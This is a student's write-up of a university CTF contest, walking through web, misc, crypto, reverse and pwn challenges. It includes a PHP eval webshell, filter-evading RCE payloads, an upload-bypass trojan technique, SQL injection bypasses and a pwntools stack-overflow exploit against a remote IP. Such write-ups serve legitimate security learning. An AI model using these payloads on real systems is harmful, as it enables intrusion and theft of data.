【ctf】第一届浙江师范大学网络与信息安全校赛wp

【ctf】第一届浙江师范大学网络与信息安全校赛wp

文章目录

  • 【ctf】第一届浙江师范大学网络与信息安全校赛wp
    • 前言
    • 热身
      • 1.网络安全法(解出)
    • WEB
      • 1.web签到(解出)
      • 2.easy_serialization (解出)
      • 3.easy_md5(解出)
      • 4.easy_upload(解出)
      • 5.5.i_love_sql[悬赏题] (未解出)
    • MISC
      • 1.扫雷(解出)
      • 2.神奇的迷宫(未解出)
      • 3.奇怪的字符(未解出)
      • 4.打不开的word(解出)
      • 5.嫌疑人bmth的硬盘[悬赏题](未解出)
    • CRYPTO
      • 1.签到(解出)
      • 2.恶魔人(未解出)
      • 3.shit_encode(解出)
      • 4.easy_rsa(未解出)
      • 5.114514[悬赏题](未解出)
    • REVERSE
      • 1.shiftf12(解出)
      • 2.bit_operation(未解出)
      • 3.2048(解出)
      • 4.gravity_ball(未解出)
      • 5.seeassGO![悬赏题] (未解出)
    • PWN
      • 1.nc(解出)
      • 2.整数上溢(解出)
      • 3.gets_x86(未解出)
      • 4.superstack(未解出)
      • 5.judger_wqt(未解出)
    • 后话

前言

第一次参加正式的ctf比赛,恰巧碰到了自己学校的第一届校赛。分享一下菜狗的做题心路历程。

热身

1.网络安全法(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第1张图片

网络安全法2016-11-07颁布

得到flag{2016-11-07}

WEB

1.web签到(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第2张图片


show_source(__file__);
@eval($_POST['zjnuctf']);
?>

由于自己的hackbar有问题(这里卡了好久发现是hackbar的问题),直接bp抓包,get改为post
【ctf】第一届浙江师范大学网络与信息安全校赛wp_第3张图片

2.easy_serialization (解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第4张图片

反序列化

将fakeflag.php改为flag.php后输出

当然,要把flag.php用php://filter伪协议

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第5张图片

将上面的url编码当作fxxk的值传入

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第6张图片

得到base64编码解密

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第7张图片

爆破?不存在的,直接MD5网站解密

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第8张图片

flag{1919810}

3.easy_md5(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第9张图片

上来先代码审计

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第10张图片

可以发现有三关。

第一关,==弱比较,直接用MD5碰撞即可。

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第11张图片

分别给a1,a2赋值(上面的都可以)

第二关 ,===强比较,使用数组即可

b[]1=1&b2[]=2

第三关 (卡的有点久,后面灵光一闪)

因为flag ls等字样都被过滤了

我们用var_dump函数执行

查看根目录scandir(chr()47)

cmd=var_dump(scandir(chr(47)))?>

发现flag用file_get_contents

cmd=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))?>

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第12张图片

4.easy_upload(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第13张图片

考察文件上传

先试了php

发现无法上传php

用.htaccess
【ctf】第一届浙江师范大学网络与信息安全校赛wp_第14张图片

然后再上传

说不是jpg格式

bp抓包后更改 image/jpeg

上传成功

再上传一张1.jpg内涵一句话木马

蚁剑连接

根目录发现flag

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第15张图片

5.5.i_love_sql[悬赏题] (未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第16张图片

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第17张图片

这题在比赛的时候想了很久,但是没解出来。

用fuzz字典发现or ’ 空格 = 这些都被过滤了。当时也没想到什么解法。

以下是当时的心路历程

首先,被过滤的 可以用 \ 来转义,空格可以用/**/来替换,or用 || 来替换

因为or被过滤了,无法使用information_schema,但是mysql5.6版本以上存在mysql.innodb_table_stats

其次,这个sql语句盲猜都知道是

select username,password from 表 where userename = '$name' and password = '$password'

那么我们做如下替换

select username, password from 表 where username='\' and password='||/**/1#';

然后得到的结果让我痛心

image-20210511121056077

之后打开了御剑扫描,发现有个admin123.php

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第18张图片

无果,到此思路就结束了。

然后就是赛后看官方wp,发现还是得写脚本来破解。

(由于自己还未参悟,所以直接上官方wp吧)官方wp

MISC

1.扫雷(解出)

卡了我好久,我以为有更好的一步到位方法

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第19张图片

2.神奇的迷宫(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第20张图片

这题看完wp真的是有点呕吐,思路全对就是我眼睛不行qaq(看的时候迷宫密码少了个d)

下载附件发现一张maze图片

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第21张图片

然后分别用 u d l r 对应上下左右,得到关键密码 drdrdrdldldrurururdldld

然后用kali的binwalk分离maze图片,发现一个zip文件,解压密码就是上面的drdrdrdldldrurururdldld。解压完了就是flag.txt

3.奇怪的字符(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第22张图片

这题也是有思路,但没有完全有思路,气死。

下载附件发现全是01格式的字符

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第23张图片

一看就是01二进制转ascii码,写一个py转化脚本

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第24张图片

得到的一看就是base64编码,放入在线网站解密

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第25张图片

又得到一个奇奇怪怪的字符串。

比赛时候到这里就懵逼了。

赛后看wp发现,解密出来的这玩意还是一个base64。

所以我们只需要再来一次解码即可。

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第26张图片

发现得到的东西和flag不一样。想到题面中的凯撒。

直接凯撒密码得到flag

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第27张图片

4.打不开的word(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第28张图片

解压发现docx文件

打不开

改为txt后缀,发现xml格式

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第29张图片

直接改为zip后缀

解压

发现hint.xml

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第30张图片

打开

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第31张图片

照着上面做

image-20210511122948426

照着做之后将解压后的文件压缩为zip,再改后缀为docx

打开

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第32张图片

一开始一张图和一句话

flag在哪呢?

我真的不知道啊!!

卡了好久

百度了之后发现有word有隐藏文字功能

我人傻了

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第33张图片

拖开图片发现flag

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第34张图片

5.嫌疑人bmth的硬盘[悬赏题](未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第35张图片

怎么说呢,这题也是与正确答案擦肩而过。。。

以下是我的心路历程。

下载附件之后,发现一张图和一个有密码的压缩包,内涵虚拟磁盘文件

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第36张图片

压缩包密码是什么呢?

肯定在这张图片里。

放入kali的binwalk中,无解。

拖入010中,发现了奇奇怪怪的东西

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第37张图片

在最下方发现了一个password,激动的以为这就是解压密码。可是悬赏题不可能这么简单!无果。

又在010发现了有趣的东西。

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第38张图片

上面写着,Do you konw silentEye?

百度了一下,是个电影?

再深入百度,发现是一个图片解码工具,直接下载安装。

image-20210511123831238

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第39张图片

当时直接不会用。卡在这里停住了。

到此心路历程结束。

看了官方wp之后,发现,只需要改个password即可。改为上面010里看到的123456

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第40张图片

解压得到vhd文件

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第41张图片

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第42张图片

参加vhd,并进入

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第43张图片

发现flag.txt

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第44张图片

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第45张图片

手速???无他,唯手熟尔

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第46张图片

CRYPTO

1.签到(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第47张图片

这题也卡了(我太菜了)

上来直接base64

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第48张图片

然后看不懂

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第49张图片

在后面用web工具的时候发现是hex编码

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第50张图片

2.恶魔人(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第51张图片

这题怎么说呢?就是题目做少了

得到txt文件

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第52张图片

类似于佛曰,但是我比赛时候百度没出结果。

赛后看wp发现还有熊曰这玩意!!!

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第53张图片

至于题目的恶魔人,只是单纯的玩日语谐音梗。。。

3.shit_encode(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第54张图片

侥幸拿了一血(唯一一个qaq)

下载附件

得到py和txt

image-20210511130414456

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第55张图片

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第56张图片

看py得知

哼=0

啊=1

写java脚本

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第57张图片

得到01

一看就是01转ascii码

上py脚本得到flag

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第58张图片

4.easy_rsa(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第59张图片

rsa真的不是我这种数学fw写的出来的。

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第60张图片

即使是看了赛后wp,我还是不会,直接放弃。。。

wp的脚本

from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot,invert,is_prime

nn=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730887670416768927672337677964290714550597600568429298221699648716921633068901353883948998903599058659542070118947492576518928418186712932926792789779394655691866868123443570557245730548669118968910472481699594289886611870716330210847358794021118096694062505555989342966084729820172623438268306776062004746756005827    
n=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730807001526796418874459262653269010050805445478077947359375104859206527750763562742113548953267910553466464257144910076016464319670824458715011248550028233525149999568175523132599184229580518635264332963606814447158506677704508111890282939569371852505020871097477121110247604848059496171967876089968129112279691787    
c=6909971391235120426969929645159492694245180553493170688384455395528880026264095781528449983208737981366859280710505606312242226424493215677583657170631510569997194553878866069533443896325051765975176119838518862738911330711618395941024704526641020596853651020122118936781031517870336553964625043083191787006414798451913618025949091586821489624371752964104686443066484925896291615405649389508964693993423607826989107021323425570133994104193066158297289023028007258400114180433143896560235193492515971098965506699893119979781920883228266956815844473828142781253269238329637022081737391678217749601980114153927801508703 
e=65537

t = nn - n
f1 = lambda x, y: pow(x * y - t, 2) - 4 * n * x * y
f2 = lambda x, y, s: (t - x * y - s) / (2 * x)
token = 0
for x in xrange(1, 3000):
    if token == 1:
        break
    for y in xrange(1, 3000):
        if f1(x, y) >= 0:
            s, b = iroot(f1(x, y), 2)
            if b:
                if is_prime(f2(x, y, int(s))):
                    p = f2(x, y, int(s))
                    token = 1
                    break
q = n/p
phi = (p-1)*(q-1)
d = invert(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

5.114514[悬赏题](未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第61张图片

下载附件中的py文件

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第62张图片

txt文件

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第63张图片

可以看到出来

‘114’,‘514’,‘1919’,‘810’

都是会被替代的

但是我是真的不会分析源码(python还没系统学习的一个fw罢了)

官方wp

#! python3
#coding=gbk

def shit_plus_decode(string):
    string = string[7:].replace("114","00").replace("514","01").replace("1919","10").replace("810","11")
    num_list = []
    temp = ""
    for i in string:
        temp += i
        if len(temp) == 16:
            num_list.append(temp)
            temp = ''
    result =""
    for i in range(len(num_list)):
        high_bytes = num_list[i][:8]
        low_bytes = num_list[i][8:]
        new_num = bin(int(num_list[i][:8],2) ^ int(num_list[i][8:],2))[2:]
        result += chr(int(new_num + low_bytes,2))
    return result

cipher = r"¤ä¤ê¤Þ¤¹¤Í!!5141919514191951419195141919514191981011451419198101145141919114514514191911451451419195148105141919514810514810191981051481019198101148105148101148105148101148105141919114810514191911481019191141148101919114114810114191911481011419191148101141141148101141145141919114191951419191141919114810191911411481019191145141919514514514191951451411419198105141141919810514114810514810114810514810514191951411451419195141145141919114191951419191141919514191911481051419191148101141919810514114191981051411481051411411481051411411481011411411481011411411481051481011481051481011481011411411481011411411419198105141141919810514514191911419195141919114191911481011451411481011451451419195145145141919514514114810191911411481019191141141919810514114191981051451419191145145141919114514114810514514114810514514114810114114114810114114514191951451451419195145141148105141919114810514191911481019195141148101919514114810514191911481051419191148101919514114810191951411481011411411481011411411481051481011481051481011481051451411481051451451419195141145141919514114514810810514514810810514"

print(shit_plus_decode(cipher))

REVERSE

1.shiftf12(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第64张图片

题目就是提示

放入ida说缺少关键文件

拖入kali

upx -d 脱壳

再拖入ida

shift f12得到flag

2.bit_operation(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第65张图片

逆向最不会的就是位运算了,在学算法的时候就被这个折磨。而且本学期的数字电路我也没怎么听,遇到这种题目,挺无奈的qaq。

直接看题解吧,我也不会。官方题解

3.2048(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第66张图片

(这题教会我们不会就百度)

正经人谁玩游戏啊

直接百度

发现py反编译脚本

image-20210511180638195

跟着百度输入指令

得到

image-20210511180706874

里面有个main和struct

将这俩玩意用010打开

将struct的开头复制到main中

保存

改为pyc后缀

执行脚本得到main.py

打开

查找flag

两个都在

博文参考:python反编译教程之2048小游戏实例

4.gravity_ball(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第67张图片

(我是真没玩过这什么重力小球。)

这已经超出我的能力范围了qaq

直接看这个–>官方wp

5.seeassGO![悬赏题] (未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第68张图片

想都别想,这种悬赏题直接放弃。

直接看这个–>官方wp

PWN

1.nc(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第69张图片

直接无脑nc上去就完事了

ls

cat flag

得到flag

2.整数上溢(解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第70张图片

(这个题面是真的烂)

拖入ida看代码

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第71张图片

发现输入-2就可以了

nc连接

输入-2

ls

cat flag

3.gets_x86(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第72张图片

这题赛后想了想,解了下。

首先把附件拖入ida中分析。

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第73张图片

第一个flag提示我们在 /flag 中。那我们怎么把这个flag拿出来呢?

我们发现有个getCode函数,让我们输入。有个gets函数,肯定有栈溢出漏洞!

然后这个getCode函数让你输入代码,程序运行会执行你写入的代码。

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第74张图片

之后看check函数

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第75张图片

发现其实你啥也写不了,因为int main(){}的括号全给你check掉了

那怎么拿到/flag呢? 用include

#include即可报错输出!

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第76张图片

第二个flag啥头绪没有。一般都是会有/bin/sh的后门地址的。我们去其他函数里找找。

终于在boynextbackdoor中找到(恶臭)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第77张图片

按下shift再按空格,查看地址

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第78张图片

发现后门地址(080492B6),直接写一部分py脚本

接着在getCode函数中发现gets函数。

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第79张图片

char s[104]到ebp的深度是0x6c,所以填充0x6c+4个字符即可覆盖地址。

写下脚本

from pwn import *
# io = process('./gets_x86')
io = remote('121.43.169.147',8510)
ELF("./gets_x86")	# ELF格式解析文件
success_addr = 0x80492B6
payload = 'a' * 0x6c + 'aaaa' + p32(success_addr) + 'a' # 为了防止timeout: the monitored command dumped core,增加payload长度
io.sendline(payload)
io.interactive()

运行得到

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第80张图片

4.superstack(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第81张图片

这题是真的看都不配看一眼,根本不会。

快进到看官方wp–>官方wp

5.judger_wqt(未解出)

【ctf】第一届浙江师范大学网络与信息安全校赛wp_第82张图片

这题是acmer和ctfer的强强联合。还想看?想都不配想!

行了,直接看官方wp吧。

温馨的给了acm解法和ctf解法

judger_wqt/题解

后话

刚刚入门的菜狗,啥也不懂,各位大佬看个乐呵哈!

已经决定走web路线了,所以以后没有这五个方向的大杂烩wp咯~

你可能感兴趣的:(与君共勉,网络安全,安全漏洞)